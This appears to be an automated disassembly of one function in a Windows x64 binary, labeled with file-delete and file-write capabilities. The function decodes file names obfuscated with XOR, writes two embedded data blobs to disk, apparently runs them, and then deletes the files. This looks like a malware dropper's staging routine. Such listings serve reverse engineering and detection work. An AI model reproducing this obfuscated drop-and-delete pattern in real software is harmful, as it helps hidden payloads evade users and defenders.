Function at 0x140020330
Capabilities:
Delete file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x100
mov rax, qword [0x140101e00]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov ecx, reloc.WLDAP32.dll_Ordinal_46
xor edx, edx
call fcn.140019d70
mov word [rsp + 0x40], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
mov edx, 1
call fcn.140019d70
movzx r13d, ax
mov ecx, 0x79
mov edx, 2
call fcn.140019d70
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
mov edx, 3
call fcn.140019d70
movzx r15d, ax
xor ecx, ecx
mov edx, 4
call fcn.140019d70
mov word [rbp - 0x61], ax
movzx r14d, ax
mov edx, 5
movzx ecx, word [0x14007c27a]
call fcn.140019d70
movzx esi, ax
mov edx, 6
movzx ecx, word [0x14007c27c]
call fcn.140019d70
movzx edi, ax
mov edx, 7
movzx ecx, word [0x14007c27e]
call fcn.140019d70
movzx ebx, ax
mov edx, 8
movzx ecx, word [str..exe]
call fcn.140019d70
mov r8d, 0x133
movzx edx, word [rsp + 0x40]
xor dx, r8w
mov word [rsp + 0x48], dx
mov ecx, 0x134
xor r13w, cx
mov word [rbp - 0x7f], r13w
mov ecx, 0x135
xor r12w, cx
mov word [rbp - 0x7d], r12w
mov ecx, 0x136
xor r15w, cx
mov word [rbp - 0x7b], r15w
mov ecx, 0x137
xor r14w, cx
mov word [rbp - 0x79], r14w
mov ecx, 0x138
xor si, cx
mov word [rbp - 0x77], si
mov ecx, 0x139
xor di, cx
mov word [rbp - 0x75], di
mov ecx, 0x13a
xor bx, cx
mov word [rbp - 0x73], bx
mov ecx, 0x13b
xor ax, cx
mov word [rbp - 0x71], ax
xor eax, eax
mov word [rbp - 0x6f], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x1f], rax
mov qword [rbp + 0x27], rax
lea rax, [rsp + 0x48]
mov r13, 0xffffffffffffffff
mov r8, r13
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400204b0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xf]
call fcn.14001a2e0
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x11]
call fcn.140023850
nop
mov ecx, 0x65
mov edx, 1
call fcn.140019d70
movzx r12d, ax
mov ecx, 0x78
mov edx, 2
call fcn.140019d70
movzx r14d, ax
mov ecx, 0x65
mov edx, 3
call fcn.140019d70
movzx edi, ax
mov edx, 5
movzx ecx, word [0x14007c28a]
call fcn.140019d70
movzx r15d, ax
mov edx, 6
movzx ecx, word [0x14007c28c]
call fcn.140019d70
movzx esi, ax
mov edx, 7
movzx ecx, word [0x14007c28e]
call fcn.140019d70
movzx ebx, ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.140019d70
movzx ecx, word [rsp + 0x40]
mov edx, 0x133
xor cx, dx
mov word [rsp + 0x48], cx
mov ecx, 0x134
xor r12w, cx
mov word [rbp - 0x7f], r12w
mov ecx, 0x135
xor r14w, cx
mov word [rbp - 0x7d], r14w
mov ecx, 0x136
xor di, cx
mov word [rbp - 0x7b], di
movzx ecx, word [rbp - 0x61]
mov edx, 0x137
xor cx, dx
mov word [rbp - 0x79], cx
mov ecx, 0x138
xor r15w, cx
mov word [rbp - 0x77], r15w
mov ecx, 0x139
xor si, cx
mov word [rbp - 0x75], si
mov ecx, 0x13a
xor bx, cx
mov word [rbp - 0x73], bx
mov ecx, 0x13b
xor ax, cx
mov word [rbp - 0x71], ax
xor eax, eax
mov word [rbp - 0x6f], ax
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
mov qword [rbp - 0x49], rax
mov qword [rbp - 0x41], rax
lea rax, [rsp + 0x48]
inc r13
cmp word [rax + r13*2], 0
jne 0x1400205f3
mov r8, r13
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x59]
call fcn.14001a2e0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x31]
call fcn.140023850
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.140019d70
mov word [rbp - 0x61], ax
mov ecx, WSASetLastError
mov edx, 1
call fcn.140019d70
mov word [rsp + 0x40], ax
mov ecx, 0x61
mov edx, 2
call fcn.140019d70
mov word [rbp - 0x39], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
mov edx, 3
call fcn.140019d70
movzx r13d, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov edx, 4
call fcn.140019d70
movzx r12d, ax
xor ecx, ecx
mov edx, 5
call fcn.140019d70
movzx r15d, ax
mov edx, 6
movzx ecx, word [0x14007c29c]
call fcn.140019d70
movzx r14d, ax
mov edx, 7
movzx ecx, word [0x14007c29e]
call fcn.140019d70
movzx esi, ax
mov edx, 8
movzx ecx, word [0x14007c2a0]
call fcn.140019d70
movzx edi, ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.140019d70
movzx ebx, ax
mov edx, 0xa
movzx ecx, word [0x14007c2a4]
call fcn.140019d70
movzx ecx, word [rbp - 0x61]
mov edx, 0x133
xor cx, dx
mov word [rsp + 0x48], cx
movzx ecx, word [rsp + 0x40]
mov edx, 0x134
xor cx, dx
mov word [rbp - 0x7f], cx
movzx ecx, word [rbp - 0x39]
mov edx, 0x135
xor cx, dx
mov word [rbp - 0x7d], cx
mov ecx, 0x136
xor r13w, cx
mov word [rbp - 0x7b], r13w
mov ecx, 0x137
xor r12w, cx
mov word [rbp - 0x79], r12w
mov ecx, 0x138
xor r15w, cx
mov word [rbp - 0x77], r15w
mov ecx, 0x139
xor r14w, cx
mov word [rbp - 0x75], r14w
mov ecx, 0x13a
xor si, cx
mov word [rbp - 0x73], si
mov ecx, 0x13b
xor di, cx
mov word [rbp - 0x71], di
mov ecx, 0x13c
xor bx, cx
mov word [rbp - 0x6f], bx
mov ecx, 0x13d
xor ax, cx
mov word [rbp - 0x6d], ax
xor esi, esi
mov word [rbp - 0x6b], si
lea r8, [rbp - 0x11]
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0xf]
call fcn.14001bbe0
nop
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 7
cmova rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp - 0x11]
lea rcx, [rbp - 0x59]
call fcn.14001a520
mov rdi, rax
mov dword [rbp - 0x39], esi
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x1400207f2
mov rcx, qword [rax]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140020854
cmp rbx, 0xffffffffffffffff
je 0x140020854
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x39]
mov r8d, 0x2400
lea rdx, [0x140099440]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.14000ac40
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x59]
call fcn.14001a520
mov rbx, rax
mov dword [rbp - 0x39], esi
mov rcx, rax
cmp qword [rax + 0x18], 7
jbe 0x14002087c
mov rcx, qword [rax]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x1400208de
cmp rdi, 0xffffffffffffffff
je 0x1400208de
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x39]
mov r8d, 0x41200
lea rdx, [0x14009b840]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000ac40
lea rax, [rbp - 0x59]
mov qword [rbp - 0x39], rax
lea rdx, [rbp + 0xf]
lea rcx, [rbp - 0x59]
call fcn.14001a520
mov rbx, rax
lea rdx, [rbp - 0x31]
lea rcx, [rsp + 0x48]
call fcn.14001a520
nop
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call fcn.140025960
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x31]
cmp qword [rbp - 0x19], 7
cmova rcx, qword [rbp - 0x31]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x140020993
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002098d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002098d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140077484
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 7
jbe 0x1400209d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400209d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400209d1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140077484
movdqa xmm0, xmmword [0x14007c870]
movdqu xmmword [rbp - 0x21], xmm0
mov word [rbp - 0x31], si
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x140020a2a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020a25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140020a25
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140077484
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400775a0
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret